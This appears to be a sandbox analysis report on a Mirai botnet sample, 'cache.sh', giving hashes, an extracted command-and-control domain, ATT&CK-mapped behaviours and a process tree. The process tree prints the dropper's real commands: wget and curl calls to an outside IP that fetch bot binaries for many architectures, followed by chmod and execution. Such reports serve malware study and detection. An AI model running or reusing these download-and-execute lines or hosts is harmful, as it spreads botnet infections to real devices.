mirai | abdc8e3e53c5c9b33da7d0bc1c25ca005802e39c86b88fcf18f4524d76e54c72

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/09/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cache.sh
Size 4KB
Sample260902-wlqx3ack3t
SHA256 abdc8e3e53c5c9b33da7d0bc1c25ca005802e39c86b88fcf18f4524d76e54c72
MD5 e7305ad2ae2e8337c8481a97996bfb57
SHA1 60971cc4f9a57c3b6d6e64c5fe38624f55c72786
SHA512 65e726196da1dceeacb2811163bd2775dec4155101ac484058810e3b6a957cbb292ffb13d7efce2ec082b1e91bae1f5ec101b0efc7a15d49e0f408b5d119b3e7
SSDEEP 48:vIUnUGTlUUUKEU8UnUZU2UFU+UyU9UNUTn:vIUnUOUUUKEU8UnUZU2UFU+UyU9UNUTn
TLSH
T1179161852B431BA53E3D9A2279DDC72C724685D9C8866FC5F0DFFAB04E88DCA6C44152
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm botnet credential_access defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

hey.stresser.fan

Extracted

Family

mirai

hey.stresser.fan

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (51197) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
685	chmod
937	chmod
743	chmod
790	chmod
816	chmod
830	chmod
847	chmod
859	chmod
873	chmod
888	chmod
911	chmod
707	chmod
756	chmod
804	chmod
925	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/lovers	686	cache.sh
/tmp/lovers	708	cache.sh
/tmp/lovers	744	cache.sh
/tmp/lovers	758	cache.sh
/tmp/lovers	791	cache.sh
/tmp/lovers	805	cache.sh
/tmp/lovers	817	cache.sh
/tmp/lovers	831	cache.sh
/tmp/lovers	848	cache.sh
/tmp/lovers	860	cache.sh
/tmp/lovers	874	cache.sh
/tmp/lovers	889	cache.sh
/tmp/lovers	912	cache.sh
/tmp/lovers	926	cache.sh
/tmp/lovers	938	cache.sh

Modifies Watchdog functionality 1 TTPs 24 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/watchdog	lovers
File opened for modification	/dev/misc/watchdog	lovers
File opened for modification	/dev/watchdog	lovers

Enumerates active TCP sockets 1 TTPs 11 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 42 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/601/maps	lovers
File opened for reading	/proc/652/maps	lovers
File opened for reading	/proc/653/maps	lovers
File opened for reading	/proc/656/maps	lovers
File opened for reading	/proc/895/maps	lovers
File opened for reading	/proc/652/maps	lovers
File opened for reading	/proc/591/maps	lovers
File opened for reading	/proc/901/maps	lovers
File opened for reading	/proc/906/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/653/maps	lovers
File opened for reading	/proc/656/maps	lovers
File opened for reading	/proc/654/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/654/maps	lovers
File opened for reading	/proc/589/maps	lovers
File opened for reading	/proc/591/maps	lovers
File opened for reading	/proc/654/maps	lovers
File opened for reading	/proc/675/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/591/maps	lovers
File opened for reading	/proc/652/maps	lovers
File opened for reading	/proc/653/maps	lovers
File opened for reading	/proc/600/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/600/maps	lovers
File opened for reading	/proc/601/maps	lovers
File opened for reading	/proc/600/maps	lovers
File opened for reading	/proc/908/maps	lovers
File opened for reading	/proc/589/maps	lovers
File opened for reading	/proc/675/maps	lovers
File opened for reading	/proc/601/maps	lovers
File opened for reading	/proc/688/maps	lovers
File opened for reading	/proc/898/maps	lovers
File opened for reading	/proc/900/maps	lovers
File opened for reading	/proc/576/maps	lovers
File opened for reading	/proc/589/maps	lovers
File opened for reading	/proc/897/maps	lovers
File opened for reading	/proc/902/maps	lovers
File opened for reading	/proc/576/maps	lovers

Changes its process name 12 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	758	lovers
Changes the process name, possibly in an attempt to hide itself	a	791	lovers
Changes the process name, possibly in an attempt to hide itself	a	805	lovers
Changes the process name, possibly in an attempt to hide itself	a	817	lovers
Changes the process name, possibly in an attempt to hide itself	a	831	lovers
Changes the process name, possibly in an attempt to hide itself	a	848	lovers
Changes the process name, possibly in an attempt to hide itself	a	860	lovers
Changes the process name, possibly in an attempt to hide itself	a	874	lovers
Changes the process name, possibly in an attempt to hide itself	a	889	lovers
Changes the process name, possibly in an attempt to hide itself	a	912	lovers
Changes the process name, possibly in an attempt to hide itself	a	926	lovers
Changes the process name, possibly in an attempt to hide itself	a	938	lovers

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 11 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers
File opened for reading	/proc/net/tcp	lovers

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/298/fd	lovers
File opened for reading	/proc/338/fd	lovers
File opened for reading	/proc/304/fd	lovers
File opened for reading	/proc/320/fd	lovers
File opened for reading	/proc/589/fd	lovers
File opened for reading	/proc/576/fd	lovers
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/291/fd	lovers
File opened for reading	/proc/298/fd	lovers
File opened for reading	/proc/589/fd	lovers
File opened for reading	/proc/656/fd	lovers
File opened for reading	/proc/675/fd	lovers
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/322/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/290/fd	lovers
File opened for reading	/proc/576/fd	lovers
File opened for reading	/proc/870/fd	lovers
File opened for reading	/proc/1/fd	lovers
File opened for reading	/proc/304/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/169/fd	lovers
File opened for reading	/proc/312/fd	lovers
File opened for reading	/proc/675/fd	lovers
File opened for reading	/proc/312/fd	lovers
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/600/fd	lovers
File opened for reading	/proc/862/fd	lovers
File opened for reading	/proc/865/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/140/fd	lovers
File opened for reading	/proc/169/fd	lovers
File opened for reading	/proc/884/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/591/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/290/fd	lovers
File opened for reading	/proc/883/fd	lovers
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/fd	lovers
File opened for reading	/proc/140/fd	lovers
File opened for reading	/proc/331/fd	lovers
File opened for reading	/proc/885/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/233/fd	lovers
File opened for reading	/proc/601/fd	lovers
File opened for reading	/proc/656/fd	lovers
File opened for reading	/proc/320/fd	lovers
File opened for reading	/proc/880/fd	lovers
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
689	wget
690	curl
705	cat

Writes file to tmp directory 31 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MMaaRRiiOisecTanee.i486	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.x86	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.mpsl	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm5	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arc	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.x86_64	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.m68k	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.m68k	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.spc	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm5	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.sh4	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.x86	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm7	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.mips	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.mips	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm7	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.ppc	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.arc	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.x86_64	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.i686	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.spc	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.i686	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.i486	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.sh4	wget
File opened for modification	/tmp/lovers	cache.sh
File opened for modification	/tmp/MMaaRRiiOisecTanee.mpsl	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm6	wget
File opened for modification	/tmp/MMaaRRiiOisecTanee.arm6	curl
File opened for modification	/tmp/MMaaRRiiOisecTanee.ppc	wget

/tmp/cache.sh
/tmp/cache.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:656
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/cat
  cat MMaaRRiiOisecTanee.x86
  2⤵
  PID:684
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  PID:686
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:689
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:690
- /bin/cat
  cat MMaaRRiiOisecTanee.mips
  2⤵
  - System Network Configuration Discovery
  PID:705
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  PID:708
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mpsl
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/cat
  cat MMaaRRiiOisecTanee.mpsl
  2⤵
  PID:742
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  PID:744
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat MMaaRRiiOisecTanee.arm
  2⤵
  PID:754
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:758
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm5
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:791
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm6
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:805
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm7
  2⤵
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:817
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.ppc
  2⤵
  - Writes file to tmp directory
  PID:823
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:831
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.m68k
  2⤵
  - Writes file to tmp directory
  PID:835
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.x86
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:848
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.sh4
  2⤵
  - Writes file to tmp directory
  PID:852
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.x86
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:860
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.spc
  2⤵
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:874
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arc
  2⤵
  - Writes file to tmp directory
  PID:881
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:889
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86_64
  2⤵
  - Writes file to tmp directory
  PID:898
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:912
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i686
  2⤵
  - Writes file to tmp directory
  PID:916
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.i686 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:926
- /usr/bin/wget
  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i486
  2⤵
  - Writes file to tmp directory
  PID:934
- /usr/bin/curl
  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i486
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/chmod
  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.i486 MMaaRRiiOisecTanee.i686 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/lovers
  ./lovers lover.ss
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:938

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

